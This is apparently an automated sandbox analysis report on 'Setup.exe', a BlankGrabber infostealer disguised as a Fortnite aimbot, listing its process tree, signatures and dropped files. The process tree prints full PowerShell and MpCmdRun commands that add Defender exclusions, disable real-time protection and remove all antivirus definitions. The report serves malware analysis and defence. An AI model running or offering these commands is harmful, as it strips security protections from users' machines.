Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/07/2026, 10:33

General

  • Target
    Setup.exe
  • Size 7.7MB
  • Sample260709-mlqsmahx21
  • SHA256 54fc5b021d546a8e8072cef4d8b6c399ea5d2f78c8d71a6c171354a5926e171c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: blankgrabber

    Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.

  • A stealer written in Python and packaged with Pyinstaller 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 16 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • UPX packed file 48 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4608
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\setup.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\setup.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2804
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\setup.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\setup.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:3452
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\setup.exe'"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1964
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\setup.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4836
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3312
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Disables one or more Microsoft Defender components
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4072
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Injected AimBot to Fortnite! Open Fortnite, and it will work!', 0, 'Done!', 48+16);close()""
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4048
          • C:\Windows\system32\mshta.exe
            mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Injected AimBot to Fortnite! Open Fortnite, and it will work!', 0, 'Done!', 48+16);close()"
            5⤵
              PID:4928
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2272
            • C:\Windows\system32\tasklist.exe
              tasklist /FO LIST
              5⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:996
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2716
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic csproduct get uuid
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1052

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 5eac98d38ceca8b7427158d967e69e01eac1bc3ca7610756c6088d94b35a3c89
          • MD5 SHA1 SHA512 TLSH

          setup.exe

          • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\setup.exe
          • Size 7.4MB
          • SHA256 abf60fd3bde98472879a055fa3df337547c2010a41dd31f7294a8462dd4f44c4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          VCRUNTIME140.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\VCRUNTIME140.dll
          • Size 106KB
          • SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _bz2.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\_bz2.pyd
          • Size 48KB
          • SHA256 7ebbe24da78b652a1b6fe77b955507b1daff6af7ff7e5c3fa5ac71190bde3da8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ctypes.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\_ctypes.pyd
          • Size 58KB
          • SHA256 8f7a5b0abc319ba9bfd11581f002e533fcbe4ca96cedd37656b579cd3942ef81
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _decimal.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\_decimal.pyd
          • Size 106KB
          • SHA256 69876f825678b717c51b7e7e480de19499d972cb1e98bbfd307e53ee5bace351
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _hashlib.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\_hashlib.pyd
          • Size 35KB
          • SHA256 5582f82f7656d4d92ed22f8e460bebd722e04c8f993c3a6adcc8437264981185
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _lzma.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\_lzma.pyd
          • Size 85KB
          • SHA256 7a3973fedd5d4f60887cf0665bcb7bd3c648ad40d3ae7a8e249d875395e5e320
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _queue.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\_queue.pyd
          • Size 25KB
          • SHA256 e8ae2c5d37a68bd34054678ae092e2878f73a0f41e6787210f1e9b9bb97f37a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _socket.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\_socket.pyd
          • Size 43KB
          • SHA256 6c4860cb071bb6d0b899f7ca2a1da796b06ea391bac99a01f192e856725e88aa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _sqlite3.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\_sqlite3.pyd
          • Size 56KB
          • SHA256 e74c9ca9007b6b43ff46783ecb393e6ec9ebbdf03f7c12a90c996d9331700a8b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ssl.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\_ssl.pyd
          • Size 65KB
          • SHA256 eaf60a9e979c95669d8f209f751725df385944f347142e0ecdcf2f794d005ead
          • MD5 SHA1 SHA512 SSDEEP TLSH

          base_library.zip

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\base_library.zip
          • Size 1.4MB
          • SHA256 c06b48371002fdb22da257873791aa418a84b8b669dd91ea0c124a6390fda3cf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          blank.aes

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\blank.aes
          • Size 101KB
          • SHA256 a31e2062a5afda1eda12d470304089a5eda2f8551fffd76609ce48f8c5a04a15
          • MD5 SHA1 SHA512 SSDEEP TLSH

          blank.aes

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\blank.aes
          • Size 101KB
          • SHA256 ebd66775600648618b270437f5217b5ea27c5d7e4e018c97e6efdc6664b08d43
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libcrypto-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\libcrypto-3.dll
          • Size 1.6MB
          • SHA256 fe80bd2568f8628032921fe7107bd611257ff64c679c6386ef24ba25271b348a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libffi-8.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\libffi-8.dll
          • Size 29KB
          • SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libssl-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\libssl-3.dll
          • Size 223KB
          • SHA256 377da6175c8a3815d164561350ae1df22e024bc84c55ae5d2583b51dfd0a19a8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          python311.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\python311.dll
          • Size 1.6MB
          • SHA256 02c665f77db6b255fc62f978aedbe2092b7ef1926836290da68fd838dbf2a9f2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          rar.exe

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\rar.exe
          • Size 615KB
          • SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
          • MD5 SHA1 SHA512 SSDEEP TLSH

          rarreg.key

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\rarreg.key
          • Size 456B
          • SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
          • MD5 SHA1 SHA512 TLSH

          select.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\select.pyd
          • Size 25KB
          • SHA256 5a91ba7ea3cf48033a85247fc3b1083f497bc060778dcf537ca382a337190093
          • MD5 SHA1 SHA512 SSDEEP TLSH

          sqlite3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\sqlite3.dll
          • Size 622KB
          • SHA256 4569acfa25dda192becda0d79f4254ce548a718b566792d73c43931306cc5242
          • MD5 SHA1 SHA512 SSDEEP TLSH

          unicodedata.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI28042\unicodedata.pyd
          • Size 295KB
          • SHA256 fac71c7622957fe0773214c7432364d7fc39c5e12250ff9eaaeea4d897564dc7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_25xqtrwk.j4r.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_25xqtrwk.j4r.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/3452-81-0x00007FF9A6230000-0x00007FF9A6819000-memory.dmp

          memory/3452-128-0x00007FF9A60B0000-0x00007FF9A6227000-memory.dmp

          memory/3452-78-0x00007FF9B4B70000-0x00007FF9B4B7D000-memory.dmp

          memory/3452-76-0x00007FF9B46A0000-0x00007FF9B46B9000-memory.dmp

          memory/3452-82-0x00007FF9A5AB0000-0x00007FF9A5B7D000-memory.dmp

          memory/3452-83-0x00007FF9B3020000-0x00007FF9B3053000-memory.dmp

          memory/3452-73-0x00007FF9A60B0000-0x00007FF9A6227000-memory.dmp

          memory/3452-72-0x00007FF9B3060000-0x00007FF9B3083000-memory.dmp

          memory/3452-84-0x00007FF9A5B80000-0x00007FF9A60A2000-memory.dmp

          memory/3452-60-0x00007FF9B37E0000-0x00007FF9B3803000-memory.dmp

          memory/3452-89-0x00007FF9B3420000-0x00007FF9B342D000-memory.dmp

          memory/3452-86-0x00007FF9B37E0000-0x00007FF9B3803000-memory.dmp

          memory/3452-61-0x00007FF9BD050000-0x00007FF9BD05F000-memory.dmp

          memory/3452-88-0x00007FF9B3D90000-0x00007FF9B3DA4000-memory.dmp

          memory/3452-63-0x00007FF9B47D0000-0x00007FF9B47E9000-memory.dmp

          memory/3452-65-0x00007FF9B31D0000-0x00007FF9B31FD000-memory.dmp

          memory/3452-37-0x00007FF9A6230000-0x00007FF9A6819000-memory.dmp

          memory/3452-91-0x00007FF9A5990000-0x00007FF9A5AAC000-memory.dmp

          memory/3452-138-0x00007FF9A5AB0000-0x00007FF9A5B7D000-memory.dmp

          memory/3452-139-0x00007FF9A6230000-0x00007FF9A6819000-memory.dmp

          memory/3452-137-0x00007FF9B4B70000-0x00007FF9B4B7D000-memory.dmp

          memory/3452-136-0x00007FF9B3420000-0x00007FF9B342D000-memory.dmp

          memory/3452-135-0x00007FF9B46A0000-0x00007FF9B46B9000-memory.dmp

          memory/3452-134-0x00007FF9B3020000-0x00007FF9B3053000-memory.dmp

          memory/3452-133-0x00007FF9B3060000-0x00007FF9B3083000-memory.dmp

          memory/3452-132-0x00007FF9B31D0000-0x00007FF9B31FD000-memory.dmp

          memory/3452-131-0x00007FF9B47D0000-0x00007FF9B47E9000-memory.dmp

          memory/3452-130-0x00007FF9B37E0000-0x00007FF9B3803000-memory.dmp

          memory/3452-129-0x00007FF9BD050000-0x00007FF9BD05F000-memory.dmp

          memory/3452-127-0x00007FF9A5990000-0x00007FF9A5AAC000-memory.dmp

          memory/3452-123-0x00007FF9A5B80000-0x00007FF9A60A2000-memory.dmp

          memory/3452-125-0x00007FF9B3D90000-0x00007FF9B3DA4000-memory.dmp

          memory/4836-92-0x0000029DE7A50000-0x0000029DE7A72000-memory.dmp